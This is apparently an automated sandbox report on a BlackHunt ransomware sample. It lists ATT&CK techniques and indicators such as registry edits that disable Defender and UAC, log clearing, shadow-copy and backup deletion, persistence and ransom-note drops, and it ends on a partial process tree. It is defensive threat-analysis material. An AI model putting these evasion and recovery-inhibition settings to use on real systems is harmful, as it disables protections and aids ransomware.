fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01

Data Destruction

T1485

pid	Process
5384	fsutil.exe
5476	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4888	wevtutil.exe
3964	wevtutil.exe
1980	wevtutil.exe
1372	wevtutil.exe
4116	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4480	bcdedit.exe
1036	bcdedit.exe
5280	bcdedit.exe
5532	bcdedit.exe

Renames multiple (499) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2088	wbadmin.exe
5640	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe

Enumerates connected drives 3 TTPs 26 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\I:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\J:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\K:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\H:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\T:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\O:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\P:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\U:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\A:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\Q:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\G:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\S:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\L:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\X:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\W:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\E:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\Z:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\M:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\V:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\N:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened (read-only)	\??\B:	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\gstreamer.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_Private.key	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Google\#BlackHunt_ReadMe.hta	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\java.policy	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ir.idl	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.hta	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\FindUninstall.midi	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_Private.key	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\management\#BlackHunt_Private.key	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected]	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunmscapi.jar	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\asm.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_ReadMe.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\local_policy.jar	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\gstreamer.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jce.jar	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_ReadMe.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\Welcome.html	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javacpl.cpl	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\directshow.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\javafx.properties	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\#BlackHunt_Private.key	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_Private.key	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.hta	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\7-Zip\#BlackHunt_Private.key	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\da.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mk.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\zlib.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\invalid32x32.gif	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jawt.h	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\gstreamer.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages.properties	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\Xusage.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\RemoveTrace.xml	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\zlib.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\unicode.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_Private.key	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.hta	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\colorimaging.md	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\public_suffix_list.dat	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3816	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5644	vssadmin.exe
5784	vssadmin.exe
5820	vssadmin.exe
6024	vssadmin.exe
6016	vssadmin.exe
5240	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Token: SeRestorePrivilege	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Token: SeBackupPrivilege	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Token: SeTakeOwnershipPrivilege	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Token: SeAuditPrivilege	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Token: SeSecurityPrivilege	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Token: SeIncBasePriorityPrivilege	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Token: SeBackupPrivilege	3308	vssvc.exe
Token: SeRestorePrivilege	3308	vssvc.exe
Token: SeAuditPrivilege	3308	vssvc.exe
Token: SeBackupPrivilege	852	wbengine.exe
Token: SeRestorePrivilege	852	wbengine.exe
Token: SeSecurityPrivilege	852	wbengine.exe
Token: SeSecurityPrivilege	3964	wevtutil.exe
Token: SeBackupPrivilege	3964	wevtutil.exe
Token: SeSecurityPrivilege	1980	wevtutil.exe
Token: SeBackupPrivilege	1980	wevtutil.exe
Token: SeSecurityPrivilege	1372	wevtutil.exe
Token: SeBackupPrivilege	1372	wevtutil.exe
Token: SeSecurityPrivilege	4116	wevtutil.exe
Token: SeBackupPrivilege	4116	wevtutil.exe
Token: SeSecurityPrivilege	4888	wevtutil.exe
Token: SeBackupPrivilege	4888	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 2512	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	89
PID 2708 wrote to memory of 2512	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	89
PID 2708 wrote to memory of 5104	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	91
PID 2708 wrote to memory of 5104	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	91
PID 2708 wrote to memory of 4432	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	92
PID 2708 wrote to memory of 4432	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	92
PID 2708 wrote to memory of 4492	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	95
PID 2708 wrote to memory of 4492	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	95
PID 2512 wrote to memory of 1132	2512	cmd.exe	97
PID 2512 wrote to memory of 1132	2512	cmd.exe	97
PID 2708 wrote to memory of 4640	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	98
PID 2708 wrote to memory of 4640	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	98
PID 5104 wrote to memory of 4036	5104	cmd.exe	100
PID 5104 wrote to memory of 4036	5104	cmd.exe	100
PID 4432 wrote to memory of 940	4432	cmd.exe	101
PID 4432 wrote to memory of 940	4432	cmd.exe	101
PID 4492 wrote to memory of 1476	4492	cmd.exe	102
PID 4492 wrote to memory of 1476	4492	cmd.exe	102
PID 4640 wrote to memory of 2992	4640	cmd.exe	103
PID 4640 wrote to memory of 2992	4640	cmd.exe	103
PID 2708 wrote to memory of 2864	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	104
PID 2708 wrote to memory of 2864	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	104
PID 2708 wrote to memory of 1808	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	106
PID 2708 wrote to memory of 1808	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	106
PID 2708 wrote to memory of 4656	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	108
PID 2708 wrote to memory of 4656	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	108
PID 2708 wrote to memory of 1616	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	199
PID 2708 wrote to memory of 1616	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	199
PID 2708 wrote to memory of 1604	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	111
PID 2708 wrote to memory of 1604	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	111
PID 2708 wrote to memory of 2076	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	114
PID 2708 wrote to memory of 2076	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	114
PID 2708 wrote to memory of 820	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	116
PID 2708 wrote to memory of 820	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	116
PID 2708 wrote to memory of 2976	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	119
PID 2708 wrote to memory of 2976	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	119
PID 2708 wrote to memory of 3628	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	122
PID 2708 wrote to memory of 3628	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	122
PID 2708 wrote to memory of 3172	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	121
PID 2708 wrote to memory of 3172	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	121
PID 2708 wrote to memory of 4644	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	214
PID 2708 wrote to memory of 4644	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	214
PID 2708 wrote to memory of 2996	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	126
PID 2708 wrote to memory of 2996	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	126
PID 2708 wrote to memory of 1428	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	131
PID 2708 wrote to memory of 1428	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	131
PID 4656 wrote to memory of 4068	4656	cmd.exe	129
PID 4656 wrote to memory of 4068	4656	cmd.exe	129
PID 2864 wrote to memory of 1580	2864	cmd.exe	130
PID 2864 wrote to memory of 1580	2864	cmd.exe	130
PID 2708 wrote to memory of 4200	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	134
PID 2708 wrote to memory of 4200	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	134
PID 2708 wrote to memory of 4408	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	133
PID 2708 wrote to memory of 4408	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	133
PID 1616 wrote to memory of 3548	1616	Conhost.exe	135
PID 1616 wrote to memory of 3548	1616	Conhost.exe	135
PID 1808 wrote to memory of 2296	1808	cmd.exe	138
PID 1808 wrote to memory of 2296	1808	cmd.exe	138
PID 2708 wrote to memory of 1848	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	140
PID 2708 wrote to memory of 1848	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	140
PID 2076 wrote to memory of 3396	2076	cmd.exe	139
PID 2076 wrote to memory of 3396	2076	cmd.exe	139
PID 2708 wrote to memory of 984	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	147
PID 2708 wrote to memory of 984	2708	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe	147

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe
"C:\Users\Admin\AppData\Local\Temp\fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1132
- C:\Windows\System32\cmd.exe
